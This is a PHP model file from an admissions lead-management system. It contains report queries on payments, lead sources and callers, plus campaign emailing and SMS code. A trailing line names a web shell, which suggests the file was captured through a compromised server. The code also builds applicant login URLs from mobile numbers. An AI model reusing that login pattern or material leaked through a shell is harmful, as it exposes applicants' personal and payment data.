        $qs=trim_array($this->input->get());
        //$sources=$this->db->select("id,title")->order_by("title")->get("master_utm_sources")->result_array();
        //pr($sources);
        

        $sources=$this->db->select("U.utm_source, COUNT(1) total, COUNT(IF(A.payment_status=1,1,NULL)) paid", FALSE)->from("applicants U")->join("applications A", "U.id=A.applicant_id")->group_by("U.utm_source")->get()->result_array();
        //echo $this->db->last_query();
        usort($sources, function($a, $b) {
            return $b['total']-$a['total'];
        });

        $this->db->where(['H.is_paid'=>1]);
        $paid_sources=$this->db->select("U.utm_source, IF(H.utm_source='', 'NA', H.utm_source) paid_source")->from("applicants U")->join("applicants_visit_history H", "U.id=H.applicant_id")->get()->result_array();
        $paid_sources=group_array($paid_sources, 'utm_source');

        $total=0;
        $total_paid=0;
        $res=['result'=>[], 'total'=>['leads'=>0, 'paid'=>0]];
        foreach($sources as &$r){
            $psources=$paid_sources[$r['utm_source']]?group_array($paid_sources[$r['utm_source']], 'paid_source'):[];
            $r['psources']=[];
            $npaid=0;
            foreach($psources as $k=>$v){
                $r['psources'][]=['source'=>$k, 'count'=>count($v)];
                $npaid+=count($v);
            }
            if($r['paid']>$npaid){
                $flg=0;
                foreach($r['psources'] as $k=>$v){
                    if($v['source']=='NA'){
                        $r['psources'][$k]['count']+=($r['paid']-$npaid);
                        $flg=1;
                    }
                }
                if(!$flg){
                    $r['psources'][]=['source'=>'NA', 'count'=>($r['paid']-$npaid)];
                }
            }
            usort($r['psources'], function($a, $b) {
                return $b['count']-$a['count'];
            });

            $res['total']['leads']+=$r['total'];
            $res['total']['paid']+=$r['paid'];
            foreach($r['psources'] as $i=>$a){
                $res['total']['total_s'.($i+1)]=intval($res['total']['total_s'.($i+1)])+$a['count'];
            }
        }

        $res['result']=$sources;
        $res['no_of_sources']=count($res['total'])-2;
        return $res;

        pr($res);

        die;
    }

    function leads_gender_wise_monthly(){
        $this->set_search_cond(0,0);
        $qs=trim_array($this->input->get());
        if($qs['month']){
            $f="IF(U.gender='', 'N/A', U.gender) gender, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="IF(U.gender='', 'N/A', U.gender) gender, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->group_by("gender, head")
        ->order_by("leads", "DESC")
        ->get()->result_array();
        
        return $this->leads_paid_monthly_daily_format($rs, 'gender', $qs['month']);
    }

    function leads_amount_wise_monthly(){
        $this->set_search_cond(0,0);
        $this->db->where('A.payment_status', 1);
        $qs=trim_array($this->input->get());
        if($qs['month']){
            $f="(A.fee-A.coupan_amt) amount, DATE_FORMAT(A.created, '%Y-%m-%d') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
            $this->db->like("A.created", $qs['month'], "AFTER");
        }else{
            $f="(A.fee-A.coupan_amt) amount, DATE_FORMAT(A.created, '%Y-%m') head, COUNT(1) leads, COUNT(IF(A.payment_status=1, 1, NULL)) paid";
        }

        $rs=$this->db->select($f, false)
        ->from("applications A ")
        ->join("applicants U ", "A.applicant_id=U.id")
        ->group_by("(A.fee-A.coupan_amt), DATE_FORMAT(A.created, '%Y-%m-%d')")
        ->order_by("leads", "DESC")
        ->get()->result_array();
        
        return $this->leads_paid_monthly_daily_format($rs, 'amount', $qs['month']);
    }
    /** \ */

    
    /** Other Reports */
    function online_payments_cond($qs){
        if($qs['status']){
            if($qs['status']=='REFUNDED'){
                $this->db->where("PT.payment_status", $qs['status']);
            }else{
                $this->db->where("PT.txn_status", $qs['status']);
            }
        }
		if($qs['k']){
			$this->db->group_start()
                ->like('U.name', $qs['k'])
                ->or_like('U.mob', $qs['k'])
                ->or_like('U.email', $qs['k'])
                ->or_like('A.application_no', $qs['k'])
                ->or_like('PT.pay_order_id', $qs['k'])
                ->or_like('PT.txn_id', $qs['k'])
			->group_end();
        }
        if($qs['from_date']){
			$this->db->where("PT.txn_date >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("PT.txn_date <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        if($qs['txn_amt']){
            $this->db->where("PT.txn_amt", $qs['txn_amt']);
        }

        if($qs['med_phd']==1){
			$this->db->where("U.is_medical", 1);
		}elseif($qs['med_phd']==2){
			$this->db->where("U.is_phd", 1);
		}else{
			$this->db->where(["U.is_medical"=>0, "U.is_phd"=>0]);
        }
        
        if($qs['state_ids']){
			$this->db->where_in("U.state_id", explode(",", $qs['state_ids']));
        }
        if($qs['discipline_ids']){
			$this->db->where_in("A.discipline_id", explode(",", $qs['discipline_ids']));
		}
    }
    function online_payments($export=FALSE){
        $qs=trim_array($this->input->get());
        $this->online_payments_cond($qs);
        
        $this->db->select("PT.id, PT.pay_order_id, PT.txn_id, PT.txn_date, PT.respmsg, PT.bank_name, PT.payment_mode, PT.bank_txn_id, PT.txn_status, PT.payment_status, PT.txn_amt, U.name, U.email, U.mob, A.application_no")
        ->from("pay_trans PT")
        ->join("applications A", "A.id=PT.application_id")
        ->join("applicants U", "U.id=PT.applicant_id")
        ->order_by("PT.id", "DESC");

        $ps=50;
        if($export){
            $ps=100000;
        }
		$rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
		foreach($rs['result'] as &$r){
			$r['txn_date']=get_date($r['txn_date'], true);
		}
		return $rs;
    }
    function online_payments_total(){
        $qs=trim_array($this->input->get());
		$this->online_payments_cond($qs);
        
        $total=$this->db->select("SUM(PT.txn_amt) amount")
        ->from("pay_trans PT")
        ->join("applications A", "A.id=PT.application_id")
        ->join("applicants U", "U.id=PT.applicant_id")
        ->get()->row()->amount;

		return (float)$total;
    }
    function online_payments_init_data(){
        $data['amt_lists']=$this->db->query("SELECT DISTINCT txn_amt FROM pay_trans WHERE txn_amt>0 ORDER BY txn_amt")->result_array();
        $today=date('Y-m-d');
        $todays=$this->db->select("txn_amt")->get_where("pay_trans", ['txn_status'=>'TXN_SUCCESS', 'DATE(txn_date)='=>$today])->result_array();
        $data['today_paid_count']=$todays?count($todays):0;
        $data['today_collection']=0;
        foreach($todays as $r){
            $data['today_collection']+=$r['txn_amt'];
        }

        $data['states']=$this->common->states();
        $data['disciplines']=$this->common->disciplines();
        return $data;
    }
    
    function cash_payments_cond($qs, $byyouonly=FALSE){
        if($byyouonly){
            $users=$this->user->active_users(true);
            $ids=[];
            foreach($users as $u){
                $ids[]=$u['id'];
            }
            $this->db->where_in("C.created_by", $ids);
        }

        if($qs['k']){
			$this->db->group_start()
                ->like('U.name', $qs['k'])
                ->or_like('U.mob', $qs['k'])
                ->or_like('A.application_no', $qs['k'])
			->group_end();
        }
        if($qs['from_date']){
			$this->db->where("C.created >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("C.created <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        if($qs['user_id']){
            $this->db->where("C.created_by", $qs['user_id']);
        }

        /* if($qs['med_phd']==1){
			$this->db->where("U.is_medical", 1);
		}elseif($qs['med_phd']==2){
			$this->db->where("U.is_phd", 1);
		}else{
			$this->db->where(["U.is_medical"=>0, "U.is_phd"=>0]);
		} */
    }
    function cash_payments($export=FALSE, $byyouonly=FALSE){
        $qs=trim_array($this->input->get());
		$this->cash_payments_cond($qs, $byyouonly);
        
        $this->db->select("A.id, U.name, U.mob, A.application_no, C.amount, C.created, U1.name usr")
        ->from("cash_collections C")
        ->join("applications A", "A.id=C.application_id")
        ->join("applicants U", "U.id=A.applicant_id")
        ->join("users U1", "C.created_by=U1.id")
        ->order_by("C.id", "DESC");

        $ps=50;
        if($export){
            $ps=100000;
        }
		$rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
		foreach($rs['result'] as &$r){
			$r['created']=get_date($r['created'], true);
		}
		return $rs;
    }
    function cash_payments_total($byyouonly=FALSE){
        $qs=trim_array($this->input->get());
		$this->cash_payments_cond($qs, $byyouonly);
        
        $total=$this->db->select("SUM(C.amount) amount")
        ->from("cash_collections C")
        ->join("applications A", "A.id=C.application_id")
        ->join("applicants U", "U.id=A.applicant_id")
        ->get()->row()->amount;

		return (float)$total;
    }
    function cash_payments_summary($byyouonly=FALSE){
		$this->cash_payments_cond(false, $byyouonly);
        
        $today=date('Y-m-d');
        $rs=$this->db->select("U1.id, U1.name, U1.type, SUM(C.amount) total, SUM(IF(DATE(C.created)='$today', C.amount, 0)) today_amt, SUM(IF(DATE(C.created)<'$today', C.amount, 0)) till_yest_amt")
        ->from("cash_collections C")
        //->join("applications A", "A.id=C.application_id")
        //->join("applicants U", "U.id=A.applicant_id")
        ->join("users U1", "C.created_by=U1.id")
        ->group_by("U1.id")
        ->order_by("total", "DESC")
        ->get()->result_array();

		return $rs;
    }
    
    function callers_disp_cond($qs, $byyouonly=FALSE, $datetype=''){
        if($byyouonly){
            $users=$this->user->active_users(true);
            $ids=[];
            foreach($users as $u){
                $ids[]=$u['id'];
            }
            $this->db->where_in("AR.created_by", $ids);
        }

        if($datetype==='Action' || !$datetype){
			$c1="AR.created";
			$c2="AR.created";
		}else{
			$c1="A.created";
			$c2="A.created";
		}

        if($qs['from_date']){
			$this->db->where("$c1 >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("$c2 <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        if($qs['user_id']){
            $this->db->where("AR.created_by", $qs['user_id']);
        }
    }
    function callers_disp($byyouonly=FALSE, $datetype=''){
        $qs=trim_array($this->input->get());
		$this->callers_disp_cond($qs, $byyouonly, $datetype);
        
        $today=date('Y-m-d');
        $f="LR.id, LR.title remarks, COUNT(DISTINCT AR.application_id) total";
        $rs=$this->db->select($f)
        ->from("applications_remarks AR")
        ->join("master_lead_remarks LR", "LR.id=AR.remarks_id")
        ->join("applications A", "A.id=AR.application_id")
        ->group_by("LR.id")
        ->order_by("total", "DESC")
        ->get()->result_array();

		return $rs;
	}
    function callers_disp_summary($byyouonly=FALSE){
		$this->callers_disp_cond(false, $byyouonly);
        
        $today=date('Y-m-d');
        $rs=$this->db->select("U.id, U.name, U.type, U.data_set_id, COUNT(1) total, COUNT(IF(DATE(AR.created)='$today', 1, NULL)) today_count, SUM(IF(DATE(AR.created)<'$today', 1, NULL)) till_yest_count")
        ->from("applications_remarks AR")
        ->join("users U", "AR.created_by=U.id")
        ->group_by("U.id")
        ->order_by("total", "DESC")
        ->get()->result_array();

        foreach($rs as &$r){
            //$r['data_sets']=$this->user->user_data_sets($r);
        }

		return $rs;
    }
    
    /** Prev year analysis */
    function prev_lms_acareers(){
        return $this->db->select("DISTINCT career", false)->from("old_leads")->order_by("career")->get()->result_array();
    }
    function prev_lms_programs(){
        return $this->db->select("DISTINCT course program", false)->from("old_leads")->order_by("program")->get()->result_array();
    }
    function prev_lms_plans(){
        return $this->db->select("DISTINCT program plan", false)->from("old_leads")->order_by("plan")->get()->result_array();
    }
    function prev_lms_utmsources(){
        return $this->db->select("DISTINCT utm_source", false)->from("old_leads")->order_by("utm_source")->get()->result_array();
    }

    function current_lms_data(){
        $qs=trim_array($_REQUEST);
        if($qs['from_date']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        if($qs['utm_source_id']){
			$this->db->where_in("U.utm_source_id", $qs['utm_source_id']);
        }
        if($qs['step_completed']){
			$this->db->where_in("A.step_completed", $qs['step_completed']);
        }
        if($qs['ac_id']){
			$this->db->where_in("P.ac_id", $qs['ac_id']);
        }
        if($qs['program_id']){
			$this->db->where_in("P.id", $qs['program_id']);
		}
		if($qs['plan_id']){
			$this->db->where_in("A.plan_id", $qs['plan_id']);
		}
		if($qs['state_id']){
			$this->db->where_in("U.state_id", $qs['state_id']);
        }
        if($qs['gender']){
			$this->db->where_in("U.gender", $qs['gender']);
		}

        $rs=$this->db->select("COUNT(1) total, COUNT(IF(A.step_completed=1, 1, NULL)) step1, COUNT(IF(A.step_completed>=2, 1, NULL)) step2, COUNT(IF(A.suat_status=1, 1, NULL)) step3, COUNT(IF(A.susat_appeared_status=1, 1, NULL)) step4, COUNT(IF(A.admission_status=1, 1, NULL)) step5, COUNT(IF(A.contract_status=1, 1, NULL)) step6, COUNT(IF(A.fee_paid_status=1, 1, NULL)) step7", false)
        ->from("applications A")
        ->join("applicants U", "A.applicant_id=U.id")
        ->join("master_programs P", "A.program_id=P.id")
        ->get()->row_array();

        return $rs;
    }

    function prev_lms_data(){
        $qs=trim_array($_REQUEST);
        if($qs['from_date']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['from_date'])));
		}
		if($qs['to_date']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['to_date'])));
        }
        if($qs['utm_source']){
			$this->db->where_in("A.utm_source", $qs['utm_source']);
        }
        if($qs['step_completed']){
			$this->db->where_in("A.step_completed", $qs['step_completed']);
        }else{
            $this->db->where("A.step_completed>", 0);
        }
        if($qs['ac']){
			$this->db->where_in("A.career", $qs['ac']);
        }
        if($qs['program']){
			$this->db->where_in("A.course", $qs['program']);
		}
		if($qs['plan']){
			$this->db->where_in("A.program", $qs['plan']);
		}
		if($qs['state']){
			$this->db->where_in("A.state", $qs['state']);
        }
        if($qs['gender']){
			$this->db->where_in("A.gender", $qs['gender']);
		}

        $rs=$this->db->select("COUNT(1) total, COUNT(IF(A.step_completed=1, 1, NULL)) step1, COUNT(IF(A.step_completed>=2, 1, NULL)) step2, COUNT(IF(A.suat_status=1, 1, NULL)) step3, COUNT(IF(A.susat_appeared_status=1, 1, NULL)) step4, COUNT(IF(A.admission_status=1, 1, NULL)) step5, COUNT(IF(A.contract_status=1, 1, NULL)) step6, COUNT(IF(A.fee_paid_status=1, 1, NULL)) step7", false)
        ->from("old_leads A")
        ->get()->row_array();

        return $rs;
    }

    function monthly_convertion_new_lms(){
        $data['months']=$this->db->select("DISTINCT DATE_FORMAT(updated, '%Y-%m') ym, DATE_FORMAT(updated, '%b, %y') my", false)->from("applications")->get()->result_array();
        foreach($data['months'] as &$m){
            $total=$this->db->select("COUNT(1) n, COUNT(IF(step_completed=3, 1, NULL)) step3", false)->from("applications")->like("created", $m['ym'], "AFTER")->get()->row_array();
            $m['total']=$total['n'];
            $m['step3']=$total['step3'];

            $paid_result=$this->db->select("DATE_FORMAT(step3date, '%Y-%m') ym, COUNT(1) n", false)
            ->from("applications")
            ->like("created", $m['ym'], "AFTER")
            ->where(['step_completed'=>3])
            ->group_by("ym")
            ->get()->result_array();
            
            $paid_result=key_val_array($paid_result, 'ym', 'n');

            foreach($data['months'] as $r){
                $m['paid'][$r['ym']]=(int)$paid_result[$r['ym']];
            }
        }

        return $data;
    }

    function monthly_convertion_prev_lms(){
        $this->db->cache_on();
        $data['months']=$this->db->select("DISTINCT DATE_FORMAT(updated, '%Y-%m') ym, DATE_FORMAT(updated, '%b, %y') my", false)->from("old_leads")->get()->result_array();
        foreach($data['months'] as &$m){
            $total=$this->db->select("COUNT(1) n, COUNT(IF(step_completed=3, 1, NULL)) step3", false)->from("old_leads")->like("created", $m['ym'], "AFTER")->get()->row_array();
            $m['total']=$total['n'];
            $m['step3']=$total['step3'];

            $paid_result=$this->db->select("DATE_FORMAT(updated, '%Y-%m') ym, COUNT(1) n", false)
            ->from("old_leads")
            ->like("created", $m['ym'], "AFTER")
            ->where(['step_completed'=>3])
            ->group_by("ym")
            ->get()->result_array();

            $paid_result=key_val_array($paid_result, 'ym', 'n');
            
            foreach($data['months'] as $r){
                $m['paid'][$r['ym']]=(int)$paid_result[$r['ym']];
            }
        }

        return $data;
    }

    /** Campaigns */
    function campaigns(){
		$qs=trim_array($this->input->get());
		if($qs['k']){
			$this->db->group_start()
				->like('C.title', $qs['k'])->or_like('T.title', $qs['k'])
			->group_end();
        }
        if($qs['data_set_id']){
            $this->db->where("C.data_set_id", $qs['data_set_id']);
        }
        if($qs['type']){
            $this->db->where("T.type", $qs['type']);
        }

        $this->db->select("C.id, C.title, C.status, C.created, C.publish_date, C.no_of_leads, D.title data_set, T.title template, T.type, T.is_hidden")
        ->from("campaigns C")
        ->join("leads_data_sets D", "D.id=C.data_set_id")
        ->join("campaign_templates T", "T.id=C.template_id")
        ->order_by("C.id", "DESC");
		$rs=$this->dba->pagedRows($qs['p'], 50, 5);
		foreach($rs['result'] as &$r){
			$r['created']		=get_date($r['created']);
            $r['publish_date']	=get_date($r['publish_date']);
            
            if($r['is_hidden']){
                $r['template']='Without Template';
            }
		}
		return $rs;
    }

    function campaign_detail($id){
        $dtl=$this->db->get_where("campaigns", ['id'=>$id])->row_array();
        if($dtl){
            $tdtl=$this->campaign_template_detail($dtl['template_id']);
            $dtl['type']=$tdtl['type'];
            $dtl['is_hidden_temp']=(int)$tdtl['is_hidden'];

            if($dtl['is_hidden_temp']){
                $dtl['subject']=$tdtl['subject'];
                $dtl['msg']=$tdtl['msg'];
            }else{
                $dtl['subject']='';
                $dtl['msg']='';
            }
        }
        return $dtl;
    }

    function delete_campaign($id){
		$this->db->db_debug=FALSE;
        $this->db->delete("campaigns", array('id'=>$id, 'status'=>'DRAFT'));
        return $this->db->affected_rows();
	}
    
    function campaign_templates($type=''){
        $qs=trim_array($this->input->get());
        if($type){
            if(is_array($type)){
                $this->db->where_in("type", $type);
            }else{
                $this->db->where("type", $type);
            }
        }
        if(!IS_ADMIN){
            //$this->db->where("created_by", USER_ID);
        }
        $this->db->where("is_hidden", 0);
		if($qs['k']){
			$this->db->like('title', $qs['k'])->or_like('type', $qs['k']);
		}
		$rs=$this->db->select("id, title, type")->from("campaign_templates")->order_by("title")->get()->result_array();
		return $rs?$rs:[];
	}
    
    function campaign_template_detail($id){
        $dtl=$this->db->get_where("campaign_templates", ['id'=>$id])->row_array();
        return $dtl;
    }

    function delete_campaign_template($id){
		$this->db->db_debug=FALSE;
        $this->db->delete("campaign_templates", array('id'=>$id));
        return $this->db->affected_rows();
    }
    
    /** */
    function publish_campaign($campaign_id){
        ignore_user_abort(1);
        $inf=array('success'=>false, 'msg'=>'Error while publishing!');
        $dtl=$this->campaign_detail($campaign_id);
        $no_of_leads=0;
        if($dtl){
            $lvOpt=$this->dataset->detail($dtl['data_set_id']);
            if(!$lvOpt || ($lvOpt['expiry_date'] && strtotime($lvOpt['expiry_date'])<strtotime(date('Y-m-d')))){
                $inf['msg']="Invalid Data set or Expired Data Set!";
                return $inf;
            }

            $tdtl=$this->campaign_template_detail($dtl['template_id']);
            if($tdtl){
                $lpages=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');
                $states=key_val_array($this->db->select("id,title")->get("master_states")->result_array(), 'id', 'title');

                $this->leads->set_search_cond(false, $lvOpt);
                $rs=$this->db->select("A.id, A.application_no system_id, A.step_completed, U.name, U.email, U.mob, U.lpage_id, U.state_id, P.title program, PP.title plan, PSS.ADM_APPL_NBR ps_app_no")
                    ->from("applications A")
                    ->join("applicants U", "U.id=A.applicant_id")
                    ->join("master_programs P", "P.id=A.program_id")
                    ->join("master_program_plans PP", "PP.id=A.plan_id")
                    ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                    ->get()->result_array();

                if($rs){
                    $no_of_leads=count($rs);
                    $msg_list=[];
                    foreach($rs as $r){
                        $r['lpage']=$lpages[$r['lpage_id']];
                        $r['state']=$states[$r['state_id']];

                        $subject=$tdtl['subject']?campain_tag_value($tdtl['subject'], $r):'';
                        $msg=campain_tag_value($tdtl['msg'], $r);

                        $msg_list[]=['email'=>$r['email'], 'mob'=>$r['mob'], 'subject'=>$subject, 'msg'=>$msg];
                    }

                    if($tdtl['type']=='EMAIL'){
                        send_campaign_email($msg_list, $dtl['from_name'], $dtl['from_email'], $dtl['reply_to_email']);
                    }else{
                        $this->common->send_campaign_sms($msg_list);
                    }
                    $inf['msg_list']=$msg_list;
                    $inf['success']=true;
                }
            }
        }

        if($inf['success']){
            $d=['id'=>$campaign_id, 'status'=>'PUBLISHED', 'publish_date'=>currentDT(), 'no_of_leads'=>$no_of_leads, 'sent_subject'=>$tdtl['subject'], 'sent_msg'=>$tdtl['msg']];
            $this->common->save($d, "campaigns");
            $inf['msg']="Campaign published successfully";
        }
        return $inf;
    }

    function test_campaign($post){
        $inf=array('success'=>false, 'msg'=>'Error!');
        $test_usr=explode(",", $post['test_usr']);

        $rs=[];

        foreach($test_usr as $u){
            if(is_email($u)){
                $this->db->where(['U.email'=>$u]);
            }else{
                $this->db->where(['U.mob'=>$u]);
            }
            $res=$this->db->select("A.id, A.application_no system_id, A.step_completed, U.name, U.email, U.mob, U.lpage_id, U.state_id, P.title program, PP.title plan, PSS.ADM_APPL_NBR ps_app_no")
                ->from("applications A")
                ->join("applicants U", "U.id=A.applicant_id")
                ->join("master_programs P", "P.id=A.program_id")
                ->join("master_program_plans PP", "PP.id=A.plan_id")
                ->join("ps_stu_status PSS", "PSS.EMPLID=A.application_no", "LEFT")
                ->get()->row_array();

            if($res){
                $rs[]=$res;
            }else{
                $rs[]=['email'=>is_email($u)?$u:'', 'mob'=>!is_email($u)?$u:''];
            }
        }

        if(!$rs){
            $inf['msg']="Invalid test email/mob!";
            return $inf;
        }
        
        $lpages=key_val_array($this->db->select("id,title")->get("landing_pages")->result_array(), 'id', 'title');
        $states=key_val_array($this->db->select("id,title")->get("master_states")->result_array(), 'id', 'title');

        $msg_list=[];
        foreach($rs as $r){
            $r['lpage']=$lpages[$r['lpage_id']];
            $r['state']=$states[$r['state_id']];

            $subject=$post['subject']?campain_tag_value($post['subject'], $r):'';
            $msg=campain_tag_value($post['msg'], $r);

            $msg_list[]=['email'=>$r['email'], 'mob'=>$r['mob'], 'subject'=>$subject, 'msg'=>$msg];
        }

        if($post['type']=='EMAIL'){
            send_campaign_email($msg_list, $post['from_name'], $post['from_email'], $post['reply_to_email']);
        }else{
            $this->common->send_campaign_sms($msg_list);
        }
        $inf['msg_list']=$msg_list;
        $inf['msg']="Test Campaign message sent successfully";
        $inf['success']=true;
        return $inf;
    }

    function lists_leads_login_url($export=FALSE){
		$md=$this->common->master_data_for_leads();
        $qs=trim_array($_REQUEST);
        $this->db->where(["U.is_medical"=>0, "A.id>"=>0]);
		if($qs['k']){
            $this->db->group_start()
                ->where('U.name', $qs['k'])
                ->or_where('U.email', $qs['k'])
                ->or_where('U.mob', $qs['k'])
                ->or_where('A.application_no', $qs['k'])
            ->group_end();
        }
        if($qs['step_completed']){
			$this->db->where_in("A.step_completed", explode(",", $qs['step_completed']));
        }
        if($qs['fromDate']){
			$this->db->where("A.created >=", date('Y-m-d', strtotime($qs['fromDate'])));
		}
		if($qs['toDate']){
			$this->db->where("A.created <=", date('Y-m-d 23:59:59', strtotime($qs['toDate'])));
		}

        $this->db->select("SQL_CALC_FOUND_ROWS A.id, A.applicant_id, A.application_no, A.step_completed, 
                           A.created leadCreated, A.plan_id, P.title program, U.name, U.email, 
                           U.mob, U.city, U.state_id, U.lpage_id, P.discipline_id", FALSE)
		->from("applications A")
		->join("applicants U", "U.id=A.applicant_id")
		->join("master_programs P", "P.id=A.program_id")
		->order_by("A.id", "DESC");
        
        $ps=50;
        if($export){
            $qs['p']=1;
            $ps=1000000;
        }
		$rs=$this->dba->pagedRows($qs['p'], $ps, 5, $export?'0':'');
		
		foreach($rs['result'] as &$r){
            $r['plan']			=$md['plans'][$r['plan_id']];
            $r['lpage']			=$md['lpages'][$r['lpage_id']];
            $r['discipline']	=$md['disciplines'][$r['discipline_id']];
            $r['state']	        =$md['states'][$r['state_id']];
            $r['leadCreated']	=get_date($r['leadCreated']);
            $r['login_url']     =generate_login_url($r['lpage'], $r['mob']);
            
			unset($r['plan_id'], $r['discipline_id'], $r['state_id'], $r['lpage_id']);
		}
		
		return $rs;
    }
}

//End of file

Kontol Shell Bypass